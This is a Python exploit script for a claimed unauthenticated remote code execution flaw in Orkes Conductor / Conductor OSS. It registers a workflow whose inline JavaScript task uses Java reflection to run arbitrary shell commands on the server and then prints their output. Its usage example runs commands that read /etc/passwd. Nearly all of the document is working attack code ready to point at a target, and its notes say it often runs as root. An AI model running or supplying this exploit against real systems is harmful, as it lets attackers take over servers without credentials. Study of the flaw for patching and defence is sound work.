#!/usr/bin/env python3
# Exploit Title:        OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution
# CVE:                  CVE-2026-58138
# Date:                 2026-07-10
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://orkes.io/
# Software Link:        https://github.com/conductor-oss/conductor
# Affected:             Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2
# Tested on:            conductoross/conductor:3.22.3
# Category:             Remote Code Execution
# Platform:             Linux
# Exploit Type:         Unauthenticated RCE
# CVSS:                 9.8
# Description:          Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec.
# Fixed in:             3.30.2
# Usage:
#   python3 exploit.py <target> [-c CMD]
#
# Examples:
#   python3 exploit.py http://127.0.0.1:8080
#   python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd"
#
# Options:
#   target          Conductor API base URL (e.g. http://127.0.0.1:8080)
#   -c, --cmd       Command to execute (default: id; hostname)
#
# Notes:
#   • Requires no authentication (default community API behavior).
#   • Runs as the Conductor process user (often root in Docker).
#   • Pure Python stdlib - no extra dependencies.

import argparse
import json
import sys
import time
import urllib.request


def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╗
""")


def js_rce(cmd):
    c = cmd.replace("\\", "\\\\").replace("'", "\\'")
    return (
        "var k=$.getClass().getClass();"
        "var S=k.getMethod('getName').getReturnType();"
        "var forName=k.getMethod('forName',S);"
        "var L=function(n){return forName.invoke(null,[n]);};"
        "var RT=L('java.lang.Runtime');"
        "var rt=RT.getMethod('getRuntime').invoke(null,[]);"
        "var I=L('java.lang.Integer').getField('TYPE').get(null);"
        "var A=L('java.lang.reflect.Array');"
        "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
        "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
        f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
        "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
        "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
        "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
        "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
    )


def call(base, path, data=None, method=None):
    url = base.rstrip("/") + path
    body = json.dumps(data).encode() if data is not None else None
    req = urllib.request.Request(
        url, 
        data=body, 
        method=method or ("POST" if data is not None else "GET"),
        headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"}
    )
    with urllib.request.urlopen(req, timeout=30) as r:
        raw = r.read().decode()
        try:
            return r.status, json.loads(raw)
        except Exception:
            return r.status, raw


def main():
    banner()
    ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE")
    ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080")
    ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host")
    args = ap.parse_args()

    wf = "pwn_" + str(int(time.time()))
    wfdef = {
        "name": wf, 
        "version": 1, 
        "schemaVersion": 2, 
        "ownerEmail": "poc@example.com",
        "tasks": [{
            "name": "pwn", 
            "taskReferenceName": "pwn", 
            "type": "INLINE",
            "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)},
        }],
    }

    print(f"[*] Target: {args.target}  cmd={args.cmd!r}")
    print("[*] Registering workflow with malicious INLINE task ... (no auth)")
    
    call(args.target, "/api/metadata/workflow", wfdef)
    st, wid = call(args.target, f"/api/workflow/{wf}", {})
    wid = wid if isinstance(wid, str) else str(wid)
    
    print(f"[*] Started workflow id={wid}; fetching output ...")
    time.sleep(2)
    
    st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true")
    
    out = None
    for t in (info.get("tasks") or []):
        if t.get("taskType") == "INLINE":
            out = (t.get("outputData") or {}).get("result")
    
    if out:
        print("\n[+] RCE SUCCESS - Command output:")
        print(str(out).strip())
    else:
        print("[!] No output captured. Workflow status:", info.get("status"))


if __name__ == "__main__":
    sys.exit(main() or 0)